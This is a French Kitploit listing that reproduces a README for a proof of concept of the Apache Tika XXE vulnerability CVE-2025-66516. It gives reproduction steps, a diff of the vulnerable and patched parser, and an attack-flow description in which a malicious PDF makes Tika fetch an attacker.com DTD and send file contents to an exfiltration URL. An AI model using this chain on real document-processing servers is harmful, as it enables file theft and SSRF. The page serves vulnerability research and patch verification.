Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-66516-POC — Un POC pour la vulnérabilité CVE-2025-66516 d'Apache Tika à des fins éducatives uniquement | Kitploit
Outils/GitHubGitHub/sid6224/cve-2025-66516-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

Un POC pour la vulnérabilité CVE-2025-66516 d'Apache Tika à des fins éducatives uniquement

Voir le dépôt
612il y a 8 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

⚠️ LISEZ L'AVERTISSEMENT AVANT UTILISATION ⚠️

Test pédagogique/uniquement autorisé | Licence | Politique de sécurité


CVE Tika Severity XXE License Platform Java


À propos de cette POC

Ce dépôt contient un exploit de preuve de concept (POC) pour CVE-2025-66516, une vulnérabilité d'injection XML External Entity (XXE) dans les versions d'Apache Tika antérieures à 3.2.2. La vulnérabilité affecte l'analyseur XFA (XML Forms Architecture) du composant tika-parser-pdf-module, permettant aux attaquants de lire des fichiers locaux et d'exfiltrer des données sensibles via des documents PDF malveillants.

Qu'est-ce que CVE-2025-66516 ?

CVE-2025-66516 est une vulnérabilité de sécurité critique dans la fonctionnalité d'analyse PDF d'Apache Tika. Lors du traitement de fichiers PDF contenant des formulaires XFA intégrés, les versions de Tika antérieures à 3.2.2 ne parviennent pas à restreindre correctement le traitement des entités externes dans les analyseurs XML. Cela permet aux attaquants de :

  • Lire des fichiers arbitraires du système de fichiers du serveur (divulgation de fichiers locaux)
  • Exfiltrer des données sensibles vers des serveurs externes (XXE hors bande)
  • Effectuer des attaques SSRF en déclenchant des requêtes vers des ressources réseau internes
  • Contourner les contrôles de sécurité dans les applications qui utilisent Tika pour le traitement de documents

Détails de la vulnérabilité

  • ID CVE : CVE-2025-66516
  • Composant affecté : Apache Tika tika-parser-pdf-module
  • Versions concernées : Apache Tika < 3.2.2
  • Version corrigée : Apache Tika 3.2.2 et ultérieures
  • Vecteur d'attaque : Document PDF malveillant avec formulaires XFA contenant des payloads XXE
  • Impact : Violation de confidentialité, exfiltration de données, falsification de requête côté serveur (SSRF)
  • Sévérité CVSS : Élevée
  • CVE associé : CVE-2025-32370 (vulnérabilité XXE similaire dans Tika)

Contenu du dépôt

Ce dépôt inclut :

  • gen_poc.py - Script Python pour générer des PDF malveillants pour les attaques XXE de lecture de fichiers locaux
  • gen_oob_poc.py - Script Python pour générer des PDF pour l'exfiltration de données hors bande
  • http_listener.py - Serveur HTTP pour démontrer l'exfiltration de données XXE hors bande
  • DocumentProcessor.java - Exemple d'application Java montrant une intégration Tika vulnérable
  • Guide de reproduction complet étape par étape avec sorties attendues
  • Analyse technique comparant les versions vulnérable et corrigée
  • Documentation du flux d'attaque expliquant le mécanisme d'exploitation

Mots-clés

Apache Tika XXE, exploit CVE-2025-66516, vulnérabilité de sécurité Tika, attaque XML External Entity, injection XXE PDF, vulnérabilité Tika 3.2.1, XXE hors bande, OOB XXE, recherche en sécurité, tests d'intrusion, exploit POC, divulgation de vulnérabilité, vulnérabilité de l'analyseur XFA, tika-parser-pdf-module, vulnérabilité de divulgation de fichiers, exfiltration de données, attaque SSRF, codage sécurisé, analyse de vulnérabilité, tests de sécurité, hacking éthique, infosec, recherche en cybersécurité, code d'exploit Apache Tika, payload XXE, sécurité PDF, vulnérabilité d'analyseur de documents


Environnement testé

Remarque : Cette POC a été testée et vérifiée sur :

  • Versions d'Apache Tika : 3.2.1 (vulnérable) et 3.2.2 (corrigée)
  • Système d'exploitation : Linux - Ubuntu 24.04.3 LTS
  • Version Java : OpenJDK 17.0.17

Configuration du répertoire POC

Tout d'abord, créez un répertoire dédié pour la POC afin de garder tous les fichiers organisés.

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

Vérification de l'environnement

Avant de procéder à la POC, vérifiez que votre environnement dispose des dépendances requises. Ces commandes afficheront les versions de votre compilateur/environnement d'exécution Java et les détails du système d'exploitation, importants pour reproduire la vulnérabilité.

root@kitploit:~
# Check Java version
java -version
javac -version

# Check OS version
lsb_release -a

Sortie attendue : Vous devriez voir les informations de version Java (par exemple, OpenJDK 17.x.x) et les détails de la version Ubuntu (24.04.3 LTS).

Téléchargement des JARs Apache Tika

Téléchargez les versions vulnérable (3.2.1) et corrigée (3.2.2) d'Apache Tika. Nous avons besoin des deux versions pour démontrer que la vulnérabilité XXE existe dans 3.2.1 et est corrigée dans 3.2.2. Le JAR tika-app est un exécutable tout-en-un qui inclut tous les analyseurs Tika et leurs dépendances.

root@kitploit:~
# Download vulnerable Tika version
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# Download patched Tika version  
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

Sortie attendue : Deux fichiers JAR seront téléchargés - tika-app-3.2.1.jar (~75 Mo) et tika-app-3.2.2.jar (~75 Mo).

Vérification des versions des composants

Vérifiez les versions exactes en inspectant les fichiers de manifeste des JAR. Cela confirme que nous avons les bonnes versions vulnérable et corrigée avant les tests.

root@kitploit:~
# Check vulnerable version manifest
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# Check patched version manifest
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

Sortie attendue : Fichiers manifeste affichant Implementation-Version: 3.2.1 et 3.2.2 respectivement, ainsi que les horodatages de construction et autres métadonnées.

Lister les propriétés POM des composants

Si nous examinons les modèles d'objet de projet (les propriétés POM de Maven définissent les dépendances, la configuration de construction et les métadonnées d'un projet), nous constatons qu'il n'y a pas de tika-parsers séparés comme mentionné dans les avis de sécurité - cela pourrait être lié à la version et l'hypothèse est que dans les versions 3.2.1 et 3.2.2, qui font partie de la POC, le module tika-parsers a été remplacé par des modules d'analyseur individuels.

root@kitploit:~
# List all component pom.properties files for both versions
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

Sortie attendue : Une liste de tous les modules de composants Tika, incluant tika-core, tika-parser-pdf-module, tika-xmp, etc. Vous remarquerez des modules d'analyseur individuels plutôt qu'un seul module tika-parsers.

Vérifier les versions des composants Tika

Extrayez et affichez les informations de version pour les composants principaux de Tika. Cela nous aide à comprendre la structure interne des modules et à confirmer que la bibliothèque principale et le module d'analyseur PDF sont aux versions attendues.

root@kitploit:~
# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.1
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# Check tika-core, tika-parser-pdf-module, and tika-app versions for 3.2.2
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

Sortie attendue : Propriétés POM indiquant version=3.2.1 ou version=3.2.2 pour chaque composant, séparées par ---. Les trois composants (tika-core, tika-parser-pdf-module, tika-app) doivent correspondre à la version globale.

Création du fichier cible pour l'exploitation XXE

Créez un fichier factice de secrets qui sera la cible de notre attaque XXE. Ce fichier simule des données sensibles (comme des clés API ou des identifiants) qu'un attaquant pourrait tenter d'exfiltrer via la vulnérabilité XXE.

root@kitploit:~
# Create target secret file
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

Sortie attendue : Un fichier nommé fake-secrets.txt contenant la chaîne INTERNAL_SERVER_KEY=EXPOSED. Ce fichier sera lu par l'exploit XXE.

Analyse du code : Comparaison des versions vulnérable et corrigée

Pour comprendre le correctif, nous devons décompiler et comparer la classe XMLReaderUtils des deux versions. Cette classe est responsable de la création des analyseurs XML, et la vulnérabilité provient de la manière dont elle configure le traitement des entités XML.

root@kitploit:~
# Extract vulnerable JAR for analysis
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# Extract patched JAR for analysis
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# Decompile vulnerable class
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# Decompile patched class
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# Compare versions
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

Sortie attendue : L'extraction crée deux répertoires avec des fichiers de classe décompilés. La commande javap génère un désassemblage en bytecode de la classe XMLReaderUtils. La commande diff montrera les différences dans la configuration de l'analyseur XML entre les versions.

Identifier le correctif

Si nous comparons attentivement, nous constatons que tout support de définition de type de document (DTD) et d'entités externes est désactivé dans 3.2.2 - c'est le cœur du correctif :

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

Sortie attendue : Vous verrez une sortie diff montrant que la version 3.2.2 ajoute des appels pour désactiver le traitement DTD et la résolution d'entités externes. Recherchez les lignes définissant accessExternalDTD sur une chaîne vide et supportDTD sur false.

POC #1 : Lecture de fichier local XXE

Cela démontre l'attaque XXE classique où un PDF malveillant lit un fichier local du système de fichiers du serveur. Le script Python génère un PDF avec un formulaire XFA intégré contenant du XML avec un payload XXE qui référence file:///fake-secrets.txt.

root@kitploit:~
# Generate malicious PDF
python3 ./gen_poc.py

# Test with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# Test with patched Tika 3.2.2
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

Sortie attendue :

  • gen_poc.py crée cve_2025_66516_poc.pdf contenant le payload XXE
  • Vulnérable (3.2.1) : La sortie de Tika contiendra INTERNAL_SERVER_KEY=EXPOSED - le contenu du fichier secret !
  • Corrigée (3.2.2) : La sortie de Tika NE contiendra PAS les données secrètes ; l'attaque XXE est bloquée

POC #2 : XXE hors bande

Cela démontre une attaque XXE plus sophistiquée utilisant l'exfiltration de données hors bande (OOB). Au lieu de refléter le contenu du fichier dans la réponse, le PDF malveillant force Tika à envoyer les données à un serveur externe contrôlé par l'attaquant. Cette technique fonctionne même lorsque l'application ne renvoie pas le contenu analysé.

root@kitploit:~
# Generate out-of-band XXE PDF
python3 ./gen_oob_poc.py

# Start HTTP listener (in separate terminal)
python3 ./http_listener.py

# Test OOB XXE with vulnerable Tika 3.2.1
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# Test OOB XXE with patched Tika 3.2.2  
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

Sortie attendue :

  • gen_oob_poc.py crée cve-2025-66516_OOB_XXE.pdf avec un payload XXE hors bande
  • http_listener.py démarre un serveur sur le port 8888 et attend les requêtes entrantes
  • Vulnérable (3.2.1) : L'écouteur HTTP recevra deux requêtes :
    1. Requête GET pour /evil.dtd (récupération de DTD externe)
    2. Requête GET vers /exfil?data=INTERNAL_SERVER_KEY=EXPOSED (exfiltration de données)
  • Corrigée (3.2.2) : Aucune requête HTTP reçue ; le traitement des entités externes est bloqué

Test au niveau de l'application

Cela teste la vulnérabilité dans un scénario plus réaliste où Tika est utilisé comme bibliothèque dans une application Java (pas seulement l'outil en ligne de commande). Le code DocumentProcessor.java simule comment une application typique pourrait intégrer Tika pour l'analyse de documents.

root@kitploit:~
# Compile with vulnerable Tika
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# Run with vulnerable Tika
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# Compile with patched Tika
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# Run with patched Tika
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

Sortie attendue :

  • Vulnérable (3.2.1) : Le programme affichera :
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text containing INTERNAL_SERVER_KEY=EXPOSED]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • Corrigée (3.2.2) : Le programme affichera :
    root@kitploit:~
    Document processed successfully!
    Content extracted: [text WITHOUT secret data]
    ✓ No XXE vulnerability detected.
    

Nettoyage

Supprimez les répertoires temporaires et les fichiers créés pendant la phase d'analyse pour garder l'espace de travail propre.

root@kitploit:~
# Remove extraction directories
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

Sortie attendue : Les répertoires et les fichiers texte décompilés seront supprimés. Aucune sortie n'est affichée sauf en cas d'erreur.


Comprendre le flux d'attaque

Séquence d'attaque XXE sur le système de fichiers local

  1. PDF contient un flux XFA avec DOCTYPE + déclaration ENTITY
  2. Tika détecte XFA → appelle XFAExtractor
  3. XFAExtractor crée un analyseur XML via XMLReaderUtils
  4. L'analyseur traite DOCTYPE, enregistre l'entité xxe
  5. L'analyseur rencontre la référence &xxe ;
  6. L'analyseur résout l'entité → lit le fichier:///fake-secrets.txt
  7. Le contenu du fichier est inséré dans le XML à l'emplacement &xxe ;
  8. XFAExtractor extrait la valeur du champ = contenu du fichier
  9. L'application reçoit les données secrètes dans la sortie Tika

Séquence d'attaque XXE hors bande (OOB)

  1. PDF contient XFA avec DOCTYPE déclarant des entités paramètres (%file, %dtd)
  2. Tika détecte XFA → appelle XFAExtractor
  3. XFAExtractor crée un analyseur XML via XMLReaderUtils
  4. L'analyseur traite DOCTYPE, enregistre l'entité %file → pointe vers file:///fake-secrets.txt
  5. L'analyseur rencontre la référence %dtd ; → pointe vers http://attacker.com:8888/evil.dtd
  6. L'analyseur effectue une requête HTTP GET vers le serveur de l'attaquant pour récupérer evil.dtd
  7. Le serveur HTTP de l'attaquant reçoit la requête, sert le contenu evil.dtd
  8. L'analyseur traite evil.dtd : définit l'entité %payload contenant la définition &send
  9. evil.dtd développe %payload → crée l'entité &send avec l'URL d'exfiltration
  10. L'entité &send contient : http://attacker.com:8888/exfil?data=%file;
  11. L'analyseur développe %file ; dans l'URL &send → le contenu du fichier est inséré
  12. L'analyseur résout l'entité &send ; → effectue une requête HTTP GET vers le point de terminaison d'exfiltration
  13. Le serveur HTTP de l'attaquant reçoit la requête /exfil avec le contenu du fichier dans le paramètre URL
  14. L'attaquant extrait les données du paramètre URL, enregistre le contenu du fichier secret
  15. La sortie de l'application est sans importance → les données sont déjà exfiltrées vers le serveur de l'attaquant

Références

Avis de sécurité officiels

  • Page de sécurité Apache Tika : https://tika.apache.org/security.html
  • NVD - CVE-2025-66516 : https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • Base de données MITRE CVE : https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub : https://github.com/apache/tika

Vulnérabilités associées

  • CVE-2025-54988 - Identifiant CVE précédent que CVE-2025-66516 remplace (même vulnérabilité, renumérotée)
  • CVE-2025-32370 - Vulnérabilité XXE similaire dans Apache Tika
  • Guide OWASP XXE : https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

Ressources techniques

  • Documentation Apache Tika : https://tika.apache.org/
  • Techniques d'attaque XXE : https://portswigger.net/web-security/xxe
  • Spécification XFA PDF : Spécification Adobe XML Forms Architecture (XFA)
  • Analyse de sécurité Upwind : https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516 (Référence de code d'application)

Divulgation responsable

Si vous découvrez des vulnérabilités de sécurité, veuillez les signaler de manière responsable :

  • Équipe de sécurité Apache : [email protected]
  • Équipe Apache Tika : https://tika.apache.org/mail-lists.html

Tags

apache-tika vulnérabilité-xxe cve-2025-66516 recherche-en-sécurité preuve-de-concept entité-externe-xml cybersécurité recherche-de-vulnérabilités poc infosec tests-d-intrusion hacking-éthique sécurité-pdf analyseur-xfa exfiltration-de-données ssrf xxe-hors-bande divulgation-de-fichiers codage-sécurisé analyse-de-vulnérabilités tests-de-sécurité développement-d-exploits red-team blue-team appsec analyse-de-documents sécurité-java


Licence

Ce projet est sous licence MIT - voir le fichier LICENCE pour plus de détails.

Utilisation pédagogique uniquement - Cette POC est destinée à des fins éducatives et à des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation de tester est illégale.


Contribution

Les contributions pour améliorer cette POC ou la documentation sont les bienvenues ! Veuillez vous assurer que toute contribution :

  • Suive les pratiques de divulgation responsable
  • Inclut les avertissements appropriés
  • Ne contient pas de code malveillant au-delà de la démonstration pédagogique
  • Maintient l'accent sur la valeur éducative

Remerciements

  • Équipe de sécurité Apache Tika pour leur travail sur le correctif de cette vulnérabilité
  • Communauté de recherche en sécurité pour les pratiques de divulgation responsable de vulnérabilités
  • Contributeurs à ce dépôt

Dernière mise à jour : Décembre 2025

Télécharger l’outil